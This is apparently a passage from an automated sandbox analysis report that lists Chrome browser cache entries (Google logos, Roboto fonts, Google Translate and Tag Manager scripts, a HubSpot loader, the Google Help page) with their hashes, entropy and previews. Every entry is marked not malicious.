Preview:	wOF2......T........P..Tp..........................4..,..@.`..~..d..u.....<..4.....6.$.... ..V..X..^...'..:...m......?..ts..6(#k.y........ON....Mn..X..~X%A...T...q.r.L..9..B}#e....}......{..l.I>.n.....u.>v(..}lo.2.f..D.TG...:mc.3.M..A...../aJl..ZT.b.S.E}..wq.B...&...Y..s.o....Qs....>.]u^O....d..Y....oEfh.........u..X.....E.3c....r...Eb.....N2+%\...J.6]N:.g[~..,..>@.`IXs........LP...c.!K.X[......A7Z....O..g....5..1...=..X....e!._.A..u.raef..y.....>li,/+..-.P-)...w.I..3\..s^.....T.\.1.;.x.:.r.7g...dK.$;....L2.t.i..hz.....>............5...,~}...W#..X.2...E,.Y.3..f.#........[..X......fDW.d...Y..8..T....^.{BC...+.W..9...`...\ ...c`.nc........_...}6A5eM.0r.IG...Km...l.'.o..py.~7.........P....9...hI.A'...D9.....4Q...9sc..9..........9lw.P...dI..z...S.>U.5.@Z...{.....=`R(...l.T.5...4{K.....L..A.]...Rg.3......l..a......I.>...p.q.H.E=.$...Ps..LU..=.$......YU....#Fn..Q..c...B...4...B..3....?....ywJ.$.I..L....yK...m.!..b_g.eH.3,.5 .@.D.........)N.?.<yR......Ro

Chrome Cache Entry: 277

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1521
Entropy (8bit):	7.806754140086895
Encrypted:	false
SSDEEP:	24:l0JD1Ga0+7qvEPCwx3IUVu7+f7Hz9mNinRBt5c0Q0UUxGq/nMxz8pJCWX6s59Xzj:4GbvEPCau7+f7H3Rb5dQ0UUMyy4cGF9f
MD5:	8ED6586A85FE477ABA437425280266AC
SHA1:	5EF1C567E0E7AE2C389FC20C3AE9C98A3BF2CA8C
SHA-256:	A0A4F406ACB9922E59B71E763754893819403D585404C1B0C9B917293FA99CB8
SHA-512:	E3A8396F795FCD1845FC9B912788733D36FE6133CF757FF53F3A8085FEF12018B0A1A54289BD481688A6D25EB81D8522E01DB7EA6784D99472BD500C8E66221D
Malicious:	false
URL:	https://fonts.gstatic.com/s/i/productlogos/drive_2020q4/v8/web-64dp/logo_drive_2020q4_color_1x_web_64dp.png
Preview:	.PNG........IHDR...@...@......iq.....IDATx....$[..o..>.^....{.......m.=\.v.........q_.$.l.Nc...?N....:.&NYIN9.S...=...O}o..:.e...9p..>p..2.........6.F...0T.}c}2s.+/...Xn...c.8.6.....R..[.R...T.E.T..\......1!..mE.^0.B_...$....../............[.#U.w...}.......?m[#.~..#...7N.....u.'u..o...w.......U..x.?...`M......X...@M.(.....u...UG..52."\|.....\.@.;.b.C..L......HKn......%...b..C.....R.<Xe`....[.B,.p.F..>......pb.jO7...z.z....&..(G..{.....J..b^.`.R.`.}..:F.<...P....'......pU...c....n.......r)...>f.....E>..G...^.0.....(t....'....B.[..z..5.(..Z.s6)..xv....O....!..,N...Q.....H......C...N9b...0...&...~.z{..J.+l...^<..q...Z.m...x.C....D.V.({........R..!_\|....;1"......(.H._....N....'.`...%..&N..m...!bA.....H..B.CNo...X.A,..d%5.].M9..e9./z5...V..o.9...E....k.a..#..45h.br..I....X.@.D..,.E<.?K.....>..D....nr.0...\T......EJd...+R....&.$(Ux..V..M(..e1R.....C.E....A...^.W%a.ah....(lB..<DElz....A....,b...\|....{.#....[o.I%y..\|.=.....q1x..Y."..

Chrome Cache Entry: 278

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2310)
Category:	dropped
Size (bytes):	215648
Entropy (8bit):	5.535663966781256
Encrypted:	false
SSDEEP:	3072:LtFitgcnsmIjY+D0KzmYasxzuZ1IwPcRCrhaPhka0Mf3/XVtVmbVM3:JYnsmQcZ1HcRCrva0Mf3/XVf
MD5:	B0FF477AA7DDB585450EF5F1D9CD1BB1
SHA1:	026A00C7AC72F8E8B0BDA0764E000506A63BC63F
SHA-256:	6A784B3E1CDB20169BA8C2113DD2A98723FA048DF06F446E4233DBEC51C9C71C
SHA-512:	1A39442731AE45803342F7A38B388DE2253B53301AF52CD83F5CFD77A0BF3413D0226E7207020BA7F1D168F3AFA2A975B6B41E153E5A0B7805988B092493DA99
Malicious:	false
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"1",. . "macros":[{"function":"__e"},{"function":"__cid"}],. "tags":[{"function":"__rep","once_per_event":true,"vtp_containerId":["macro",1],"tag_id":1}],. "predicates":[{"function":"_eq","arg0":["macro",0],"arg1":"gtm.js"}],. "rules":[[["if",0],["add",0]]].},."runtime":[ [50,"__cid",[46,"a"],[36,[17,[13,[41,"$0"],[3,"$0",["require","getContainerVersion"]],["$0"]],"containerId"]]]. ,[50,"__e",[46,"a"],[36,[13,[41,"$0"],[3,"$0",["require","internal.getEventData"]],["$0","event"]]]]. .].,"entities":{."__cid":{"2":true,"4":true,"3":true}.,."__e":{"2":true,"4":true}...}.,"blob":{"1":"1"}.,"permissions":{."__cid":{"read_container_data":{}}.,."__e":{"read_event_data":{"eventDataAccess":"specific","keyPatterns":["event"]}}...}....,"security_groups":{."google":[."__cid".,."__e"..]...}....};.....var h,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{d

Chrome Cache Entry: 279

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (874)
Category:	downloaded
Size (bytes):	4853
Entropy (8bit):	5.424447549738399
Encrypted:	false
SSDEEP:	96:UujTrZ5cSVzEjLvPm82eFC40sJIvJHqweglqw8qe8qyGX+e2iXP:L5fWl2eFC40sJIvZqTglqRqLq/X/2i/
MD5:	6DE53A682534CEE94728330C2D0CC408
SHA1:	55F8E50A5A3577AE476D0BF59230316722509925
SHA-256:	FBDB2B4D412F0F91DB314D902ABDB6EB2A3F7B2E544AE96E51E4C5D4E781B6D6
SHA-512:	EEE68DBF2DC0960E79005DBCE91F4A086298DDC3FB5DB6DE61AE52B3C2CF39998FDB3C821CDCA1922A00185108E0B731C1543E1207C6E5B314AB51755E3E6FC5
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-translate/_/js/k=boq-translate.TranslateWebserverUi.en_US.gi8Hjag_SbI.es5.O/ck=boq-translate.TranslateWebserverUi.9DqPC76ldIs.L.B1.O/am=g8EAAE4IyBQsBAI/d=1/exm=E2VjNc,Id96Vc,LEikZe,YYmHzb,_b,_tp,byfTOb,ebZ3mb,lWpni,lsjVmc,soHxf/excm=_b,_tp,mainview/ed=1/wt=2/ujg=1/rs=ANkVxDk2oRHyx9-m1ANtw4N3BDjZYkWesQ/ee=EVNhjf:pw70Gc;EmZ2Bf:zr1jrb;JsbNhc:Xd8iUd;K5nYTd:ZDZcre;LBgRLc:SdcwHb;Me32dd:MEeYgc;NPKaK:SdcwHb;NSEoX:lazG7b;Pjplud:EEDORb;QGR0gd:Mlhmy;SNUn3:ZwDk9d;ScI3Yc:e7Hzgb;Uvc8o:VDovNc;YIZmRd:A1yn5d;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;dowIGb:ebZ3mb;eBAeSb:zbML3c;g8nkx:U4MzKc;iFQyKf:QIhFr;kbAm9d:MkHyGd;lOO0Vd:OTA3Ae;nAFL3:s39S4;oGtAuc:sOXFj;pXdRYb:XBRlNc;qafBPd:yDVVkb;qddgKe:xQtZb;wQlYve:aLUfP;wR5FRb:O1Gjze;xqZiqf:BBI74;yxTchf:KUM7Z;zxnPse:duFQFc/m=t1sulf"
Preview:	"use strict";this.default_TranslateWebserverUi=this.default_TranslateWebserverUi\|\|{};(function(_){var window=this;.try{._.pBa=_.z("JH2zc",[]);._.n("JH2zc");._.T0=function(a){_.K.call(this,a.Da);this.na=_.Ip(this.U(),"VfPpkd-AznF2e-uDEFge-OWXEXe-GN5I5c");this.content=this.Ca("bN97Pc")};_.B(_.T0,_.K);_.T0.qa=_.K.qa;_.T0.prototype.H=function(){return this.content.el().getBoundingClientRect()};_.T0.prototype.N=function(){this.U().Ka("VfPpkd-AznF2e-uDEFge-OWXEXe-auswjd")};_.L(_.T0.prototype,"ZpywWb",function(){return this.N});_.L(_.T0.prototype,"fab5xd",function(){return this.H});_.M(_.pBa,_.T0);._.p();._.zx=function(a,b){return a.j[b]&&a.j[b]\|\|null};._.qBa=_.z("t1sulf",[_.pBa,_.lF,_.po,_.nF]);._.n("t1sulf");.var Gbb=function(a,b,c,d,e){function f(l){return l.size()!==0\|\|c.data.icon?c.data.Vo&&!l.size()\|\|l.size()>1:!0}if(!f(a.find(".VfPpkd-cfyjzb"))&&(a=a.find(".VfPpkd-cfyjzb"),!f(a)))if(c.Rb()){var g,h=!((g=c.data.icon)==null\|\|!g.toString());h?(a.size()?d.j(a.el(),c.data.icon):(d=d.Bc(c.da

Chrome Cache Entry: 280

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3521
Entropy (8bit):	7.899990309375919
Encrypted:	false
SSDEEP:	48:0/Eujl++Y7YRDWZ/XpWfDAU2C0Ocoxqc5+vyL/h+HMUjGPZiWZp20HY00pNBXb/M:+DVQZ/XEWC0VcTh+HTjsZJ4fpbXbc
MD5:	CE10C5E13C148627ACE62AD7542395D6
SHA1:	4863E2FD9A15018BCE372C339B0C7D1B0F5FE98F
SHA-256:	B07084658EB737DDBA1BC0B3DA4EFC0331009FF3968E4C6AF683F95C17E6368F
SHA-512:	25E71F462982135A93AB53EE2849D21D4D84ECA87B22E311B8B85AB7C18EEB25517DF1F7497549DE084669553ECB176C5383E5E0ADA1A5A67C309CE1F46817DA
Malicious:	false
URL:	https://fonts.gstatic.com/s/i/productlogos/google_now/v5/web-64dp/logo_google_now_color_1x_web_64dp.png
Preview:	.PNG........IHDR...@...@......iq.....IDATx.....A.G7...m.J..8.qv1F)..,...9....&.....1.5,.cvL..0...m-k..H....`<.d.`iz.?...Kk...}....NI.[E.....\|.fZ.v..".3%..t.Q9.ZGF..&........D....A.U..qp${.."....m.XF.Q...NuG.O}O...I....:u.."F^3..XF.Q..Z.YM.....%........z.IH.\|=..o..7.....:.q....~......neH.i.....K.=.?V..&....u.F..e ...B.a...J.p....t.. F;@. ...`.x.......H^. 1....U......z...{..3.. .g6.R.\.".N...R..u.V'..c.c(@P.$.^.X.b.........`g..g(nS.u...M......^\|.:.._...........O0l.....A.w..9".0.....=....}..........t..}.......K?...Hr~EH.7.A...(.a.L0t..9....n...s.A.th...w.!.N...Q.\|...[..u...i...n..H.....#.>}..h.Z.... ...N.....".)..$.z...\.B..E.....Ch:.." ..;..B...'.T3.X0..Kb......h.,.[.(.,._.$..~....a...033333.....1<.=.....Iv.zxn.W.1T......}.-......R.&@<.;....P.....s.....-H._.:...OB......9CJb.......x..;.o..../...B..D.3.....L./.&..>..f..]$.oR.;....2.?:...s.....u...Ddr..g...t..8<I.....w......d..([8l#~..m......)..R.....@......rq.....W...w...lS.x.&...a...e...M....

Chrome Cache Entry: 281

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15436, version 1.0
Category:	downloaded
Size (bytes):	15436
Entropy (8bit):	7.986311903040136
Encrypted:	false
SSDEEP:	384:uJ/qNyGt74AcZEG+69hFFHDJ1CggakKt0y:+q/kAc+ohFx9YgB2y
MD5:	037D830416495DEF72B7881024C14B7B
SHA1:	619389190B3CAFAFB5DB94113990350ACC8A0278
SHA-256:	1D5B7C64458F4AF91DCFEE0354BE47ADDE1F739B5ADED03A7AB6068A1BB6CA97
SHA-512:	C8D2808945A9BF2E6AD36C7749313467FF390F195448C326C4D4D7A4A635A11E2DDF4D0779BE2DB274F1D1D9D022B1F837294F1E12C9F87E3EAC8A95CFD8872F
Malicious:	false
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmWUlfBBc4.woff2
Preview:	wOF2......<L.......\|..;..........................d..z..J.`..L.H..<........e..^...x.6.$..6. ..~. ..).7{...K.. .k~....".v(...[...RE.$..K..C,.'..{BK.C&.....'L!...DZ........+6.r...K..._...<..0..].V..........e.r(RN.43k;g`...?<?.......b..c.`.. .6..p...5.$zd.R%.........h....";.^WU.....H........S.j..M:..=K..\B.6"f......z.........$...%w.?$-....9.:u....u.I..Tt..s........lY...J.6oN..y...1,I.Yx..lu..}.e...Og..d...Xv.. ...iF.]..x.N..#%,y.&..,$.^.n...\.K.P.J.x...H$..-.....p.....t.v...gD^....?..6o......e....,f.)..h...P...<.:.E...X..p....U.?.[m....l.Y.S..p..%..K.,U..3U.qFZo....U...3..3.]\.C.#..9T.8P`8......P...R;..r..J.*...u.j..^vnf.v.... .pw...Z.(.6%$U.[.\|....!mU\}./..i,..7D........:t'.a;.W(.."G....q.-.Z......;J..0.&/.5. .T......w..;...t...H.t.<y ..@xx .JA.U.t..;g....@..... .t......<.5(^.\|s..Ko.O.x.....!...........lHF............So{.%..V...7..aA$....C;,"(.J..EE..@.....vOB.,V..../....B#.r+./-t.(.N.S...R.Z$4...4i.c.}t...#3`.......s..;.O,.\|..W.A.f.w.

Chrome Cache Entry: 282

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3553
Entropy (8bit):	7.879324676378831
Encrypted:	false
SSDEEP:	48://6FxB8vJrgylrK/3g6fcgCAZxZ8OH6LB7Vi3lSHoJIHV8m3hOS8BCZnd89cwf5L:/S7B6rg6U3xihi3lteHV8MOQMKwf5L
MD5:	048844E6D7C74FB25F495EADED1C91B7
SHA1:	E8C464A491D9D03138BE2E5719DAE03A86E7B343
SHA-256:	0A44F98D5ADEC463FA3FDDCA7163E694BC1D93DF57C916F3771602193899BB7C
SHA-512:	551D97CD41FB9362703051D8080BF97CC0A4F324800C542944983C8DE39045E1245D7E3D7D616BCE404BB42608A43C857DC70A14E81D72C02A80049046A05D29
Malicious:	false
Preview:	.PNG........IHDR..............>a.... cHRM..z&..............u0...`..:....p..Q<....bKGD..............pHYs................UIDATx..].tT...M&!....l.Q.,.d.{....y3!A.03...,.Z9-...K......`....$.b..d.8=@.A..V6.l... .L.....'$LV2........$...~...\|..L.b.....T...<;../Yyv...v.5.a..;c..............~Vc.2N.....O.......~`...2.T.F.#..A.(S)..5.l...1...\|E.0 .M..........Y..1...w.....K.[5.@..uc.6..vh.9.t....@.....;./t.....<.W....@.y..c.B..q84.c6-...c;..wb....8t.K..r.4.)x'. -..ok<.%.$Q..^.nGn^&..v....oB......0l...8S..{.x.......8.L"..p.r.].....-.<^q..f......n.;j.(.-3...J.C..[u...7?H..6.@...e...)66.~....N......Cj.e.....NA.rlp.......V9..-U.X.S...N...]9-.............W....m..._G..V.D.\|....F.....D.=...m....C.y..~.r.L...L.....4.E..$w.....(...>{..&A.q.OS=.....<...&Q.Ak.+..D./.g....>d&.`_..$.R..."X...E...n.6..s..#K...."T.F.H.9.W.b....J..h........i.'....h... I...&.....z...>.2\|....c./c......@.w^R.;x..<.6s.v........a.d;..3..wk...q1...F*U...0....gyU..&.._.f.$.\..M.&.ur.B.\|,[&A...\|...

Chrome Cache Entry: 283

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (565)
Category:	downloaded
Size (bytes):	245560
Entropy (8bit):	5.541488984035572
Encrypted:	false
SSDEEP:	3072:QHZMJPlfd0e3r4EKAQt9tYYOZxHTrIuXYULdhgbz5e0EmLg7fQvcn:Qle3r40Qt9t8TrIu+5dUQvcn
MD5:	D27C77967978517BBB02C9A88A4660E9
SHA1:	8BC2F8982514A06DD2C6E7E8338DAD41A05D64AB
SHA-256:	B5603FF170D4D1CD0EF6EF9F752FAF8BA00DFCB746D738B886E09F0F4494F150
SHA-512:	2A3832AAB353DC4DDCA2E204976F86C3E908DF24E405CB94D1F1AD6E289D4FF19D7F9D6C2860BB81508BF1A2151029F26904FC3817C82082CDAE96173F5D9139
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-translate/_/js/k=boq-translate.TranslateWebserverUi.en_US.gi8Hjag_SbI.es5.O/am=g8EAAE4IyBQsBAI/d=1/excm=_b,_tp,mainview/ed=1/dg=0/wt=2/ujg=1/rs=ANkVxDnHSCyxKuS3jbkfgvwhvCfj8eWgvw/m=_b,_tp"
Preview:	"use strict";this.default_TranslateWebserverUi=this.default_TranslateWebserverUi\|\|{};(function(_){var window=this;.try{._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0xc183, 0x13202138, 0x2042c1, ]);./.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././. SPDX-License-Identifier: Apache-2.0././.. Copyright 2024 Google, Inc. SPDX-License-Identifier: MIT./.var baa,daa,Fa,gaa,$a,kaa,oaa,qb,zaa,Aaa,Caa,Hb,Ib,Jb,Kb,Ob,Rb,Eaa,Faa,Tb,Vb,Xb,Gaa,Iaa,Kaa,dc,ec,Paa,lc,pc,Vaa,zc,Zaa,bba,Waa,aba,$aa,Yaa,Xaa,cba,fba,hba,dba,eba,lba,mba,oba,pba,Jc,rba,sba,xba,yba,zba,Aba,hd,Dba,Eba,Fba,Gba,Jba,Lba,Kba,Mba,vd,ud,Oba,Nba,Qba,wd,Rba,Sba,Tba,Uba,Vba,Id,Kd,Ld,Xba,ce,Jd,Nd,cca,gca,ze,Be,Ce,Me,Se,mca,$e,sca,tca,uca,vca,xca,gf,zca,Aca,Cca,Dca,Hca,Jca,Lca,Mca,Of,Pca,Qca,Rca,Uca,bda,Yca,fda,hda,

Chrome Cache Entry: 284

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

Chrome Cache Entry: 285

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1279
Entropy (8bit):	7.698565773147704
Encrypted:	false
SSDEEP:	24:mND+d+0wSn+IU2jjHuJZREKBNWC0OKBLHCLkgGNaOF9S4SPMIow:mBrIUQjHuJ/7eCxgcXGNfSnRow
MD5:	A67B837E46BB187D5DC9E5A2C77E82CB
SHA1:	683EBB2C0AF4CB080E1D904AEB7015858959924F
SHA-256:	703D3FC191D5F8A9835EA55596EF58A85D66E54C4303B96CEB8E185C2C922B53
SHA-512:	DF09B822B1E493783860EE2042BF20149A392B81DD8F17EB0881B175F691BE8D7B798E5FEF2C464FB066CD7E961D4E63A943B69D79DC8DD125DE0F1605DB2394
Malicious:	false
Preview:	.PNG........IHDR...@...@......iq.....IDATx.b.....~Y..y.Qx...,(.....Rf......ff..a...>f.u..c...:....^;y....og....r!.}...i.+...M........\|...L.WA...-W..A!K.44\|...i.'...,+K..[.........$...8<.@.@P.+S.,-}B... ..OT.Y0.g....I..A..T........l"....0...Q.Ex..@1>.....e.............FQ.s. ......B.......\w...7...?.8..\w.^,....i...........?....U....Q @x.C2........TW.....R...+W.#...9.o.......l =.....+..7.Q..c.K.d.....R;..62..9...2...W.G....~....l=..z.[NC9.......\._..E=....`....i.G. ....f~$}%.Bq......yvs?.:..... :....Q.O..J.....@.0.R.......O.L...h.P9.D].....Q."T.#..N.4../FlD..J.} 8..{o..!*....O../$M.F......D...P....".........y..R..C.b...w...0x!...S.7....\..E.........M?6.L..v.7.q.].O.}..\x..;._..5.H]LW...N.\|L.......:..v.c....'... ..p..ZmG..p.%.=H.5.4..i..Us.}(..%.p."..P .T{..I^.n.f.E...F...k..m.."..B.."_.(..YYh..u$..t.&..@Ut.r.......U.x..5.....tF.B...uF.1.bIRj&..w..'y........A.do..k...xHk.ih.KLc@...Hr....`.....v..v.dCK..2r....F.......Z.M....^..[x..!'..P.IA7..

Chrome Cache Entry: 286

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (542)
Category:	downloaded
Size (bytes):	1557
Entropy (8bit):	5.281525705180023
Encrypted:	false
SSDEEP:	48:4QqumpcddwmpvYWtSkpwzCQVxYkpwNyhQ5KQVI:dRUcdaIvpBezCQBeGQ0Q2
MD5:	2D89D25E5D2359F192DE1346FD18C181
SHA1:	442E609DCA23F028539FE1BFA051C6B75019BAEF
SHA-256:	D09B62059F8569EB13F6BB03DF6A09882F595C802E347CFF3695083E4202F806
SHA-512:	AEFB107149E213DDD3E5CF5740319A63FC7AF9B30244E275D813C1FB8DD5FFDDDB8047189144E6527271F0938D871CE626EFB81DAA6470C79B5EDC19E45C69D2
Malicious:	false
URL:	https://js.hs-scripts.com/48192692.js
Preview:	// HubSpot Script Loader. Please do not block this resource. See more: http://hubs.ly/H0702_H0..!function(e,t){if(!document.getElementById(e)){var c=document.createElement("script");c.src="https://js.hs-analytics.net/analytics/1734370800000/48192692.js",c.type="text/javascript",c.id=e;var n=document.getElementsByTagName("script")[0];n.parentNode.insertBefore(c,n)}}("hs-analytics");.var _hsp = window._hsp = window._hsp \|\| [];._hsp.push(['addEnabledFeatureGates', []]);._hsp.push(['setBusinessUnitId', 0]);.!function(t,e,r){if(!document.getElementById(t)){var n=document.createElement("script");for(var a in n.src="https://js.hs-banner.com/v2/48192692/banner.js",n.type="text/javascript",n.id=t,r)r.hasOwnProperty(a)&&n.setAttribute(a,r[a]);var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(n,i)}}("cookieBanner-48192692",0,{"data-cookieconsent":"ignore","data-hs-ignore":true,"data-loader":"hs-scriptloader","data-hsjs-portal":48192692,"data-hsjs-env":"prod","data-hsjs-hu

Chrome Cache Entry: 287

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1273
Entropy (8bit):	7.763733616084762
Encrypted:	false
SSDEEP:	24:q6vI1tL2HEobuAkQycN9x0Igmz8vdU5updh4LyFRcr+XOuix3:qf1tufkQBEInz8lUU74H6+5B
MD5:	B34FCCBD0C8711ECD008A6EFF2CFD66C
SHA1:	1240231C36A07A0F052B45C6E6499E10C883A036
SHA-256:	F1DF3320F78ADD53E1D29BEC727FA105CACFC7DCDBA203955AC34313C9E34606
SHA-512:	BBD2DDD66324FE45E216B8AD34A2EF8D1F3A98793F07418198B6BD419C0271E4283508485C41B513273E4415B7ECFF3F7D92450AE51F7B9576C58F4A4585A1A7
Malicious:	false
Preview:	.PNG........IHDR...@...@......iq.....IDATx..X..#K.........m.m.Zo...k.mof..3x..Z.qf....;]..*u......`..!B..."D.p..gy..W]R.{./.....Z.p.7z....E........'.k.{{......R..z... E.@.k..............6..;...5....m..h....k......9.....~.......o8I.,..k....a..`m.`.?.T...."O...P...$I.X....u{C..x...."...Z....d..+.MJ..0x.....SG.k;.3a..!#.d..C...1...2.6.....3@V.:..@N.M.Br.3d....{.f...P..{27 .J...y.!..I..BN.......M...............l.%..r'...W.(.[./..<.l.#....o.....w^....@n./.'Nh..P..N...d....<.((7]. ._....vMx....,... wh.....q.5._..............l._.B.........Ir.ko.H.o...2...)\........<sV)..@y.Q.C^.{.L.vb..X!.....{/.).....'..>d.v..YB.iP9\|_0z...g..3.R..D.A...Af....G..g+.........5;..&d.D.i.+...........(~..k...."....)4.{..X......j.BA[./.I._.........\|ra..o...5..?....j..rBn....5.`....J..m.S'..j..<..yf......P.m.n....<.d.M............2....I.T.&..~..^....CpI.a..fr.5]Fk%....Y1......C......A.;pe......FI.J.N_Sr....c.Z?......z.U.4.7F...K.@.......0.8.=...u:!..U.

Chrome Cache Entry: 289

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (54631)
Category:	downloaded
Size (bytes):	1120302
Entropy (8bit):	5.723678181027238
Encrypted:	false
SSDEEP:	24576:cojTA0sQEKpdt13gDlIhNtk6jXcvm0aeO3k00YH5oySqRi0ocL3aIcSXqOH:cojTA0sQEKpdt13gDlIFk6jXcvm0LO3x
MD5:	EF1F19A1CACE5DC49BF96CA3EBF202FA
SHA1:	9E879F72B64428435DC38779B0CC4CA85F02F1F0
SHA-256:	661B49B52944F3634AEF58349F741BA612883C2CCAAD4F31AE4E2B085A75DFAE
SHA-512:	5FD1438E735F3015B8A6FB204E1CD102CBC532302560508C85F442EF81FD5753B2B850005E4F73B66AF180E7CECD7B61FDCE11A0D7817E9CBC9CFB03CA30148F
Malicious:	false
URL:	https://support.google.com/
Preview:	<!doctype html><html class="hcfe" data-page-type="PORTAL" lang="en"><head><title>Google Help</title><meta content="email=no" name="format-detection"><meta content="follow,index" name="robots"><meta content="IE=edge,chrome=1" http-equiv="X-UA-Compatible"><meta content="" name="description"><meta content="XDaf09mosy9iTj6dOnwb6sKTrNhfKwOS6v98lPV0dEE" name="google-site-verification"><link href="https://support.google.com/?hl=en" rel="canonical"><meta content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=3,user-scalable=yes" name="viewport"><style>@font-face{font-family:'Roboto';font-style:normal;font-weight:400;src:url(https://fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2)format('woff2');unicode-range:U+0460-052F,U+1C80-1C8A,U+20B4,U+2DE0-2DFF,U+A640-A69F,U+FE2E-FE2F;}@font-face{font-family:'Roboto';font-style:normal;font-weight:400;src:url(https://fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu5mxKOzY.woff2)format('woff2');unicode-range:U+0301,U+0400-045

Chrome Cache Entry: 290

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1521
Entropy (8bit):	7.806754140086895
Encrypted:	false
SSDEEP:	24:l0JD1Ga0+7qvEPCwx3IUVu7+f7Hz9mNinRBt5c0Q0UUxGq/nMxz8pJCWX6s59Xzj:4GbvEPCau7+f7H3Rb5dQ0UUMyy4cGF9f
MD5:	8ED6586A85FE477ABA437425280266AC
SHA1:	5EF1C567E0E7AE2C389FC20C3AE9C98A3BF2CA8C
SHA-256:	A0A4F406ACB9922E59B71E763754893819403D585404C1B0C9B917293FA99CB8
SHA-512:	E3A8396F795FCD1845FC9B912788733D36FE6133CF757FF53F3A8085FEF12018B0A1A54289BD481688A6D25EB81D8522E01DB7EA6784D99472BD500C8E66221D
Malicious:	false
Preview:	.PNG........IHDR...@...@......iq.....IDATx....$[..o..>.^....{.......m.=\.v.........q_.$.l.Nc...?N....:.&NYIN9.S...=...O}o..:.e...9p..>p..2.........6.F...0T.}c}2s.+/...Xn...c.8.6.....R..[.R...T.E.T..\......1!..mE.^0.B_...$....../............[.#U.w...}.......?m[#.~..#...7N.....u.'u..o...w.......U..x.?...`M......X...@M.(.....u...UG..52."\|.....\.@.;.b.C..L......HKn......%...b..C.....R.<Xe`....[.B,.p.F..>......pb.jO7...z.z....&..(G..{.....J..b^.`.R.`.}..:F.<...P....'......pU...c....n.......r)...>f.....E>..G...^.0.....(t....'....B.[..z..5.(..Z.s6)..xv....O....!..,N...Q.....H......C...N9b...0...&...~.z{..J.+l...^<..q...Z.m...x.C....D.V.({........R..!_\|....;1"......(.H._....N....'.`...%..&N..m...!bA.....H..B.CNo...X.A,..d%5.].M9..e9./z5...V..o.9...E....k.a..#..45h.br..I....X.@.D..,.E<.?K.....>..D....nr.0...\T......EJd...+R....&.$(Ux..V..M(..e1R.....C.E....A...^.W%a.ah....(lB..<DElz....A....,b...\|....{.#....[o.I%y..\|.=.....q1x..Y."..

Chrome Cache Entry: 291

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (565)
Category:	dropped
Size (bytes):	245560
Entropy (8bit):	5.541488984035572
Encrypted:	false
SSDEEP:	3072:QHZMJPlfd0e3r4EKAQt9tYYOZxHTrIuXYULdhgbz5e0EmLg7fQvcn:Qle3r40Qt9t8TrIu+5dUQvcn
MD5:	D27C77967978517BBB02C9A88A4660E9
SHA1:	8BC2F8982514A06DD2C6E7E8338DAD41A05D64AB
SHA-256:	B5603FF170D4D1CD0EF6EF9F752FAF8BA00DFCB746D738B886E09F0F4494F150
SHA-512:	2A3832AAB353DC4DDCA2E204976F86C3E908DF24E405CB94D1F1AD6E289D4FF19D7F9D6C2860BB81508BF1A2151029F26904FC3817C82082CDAE96173F5D9139
Malicious:	false
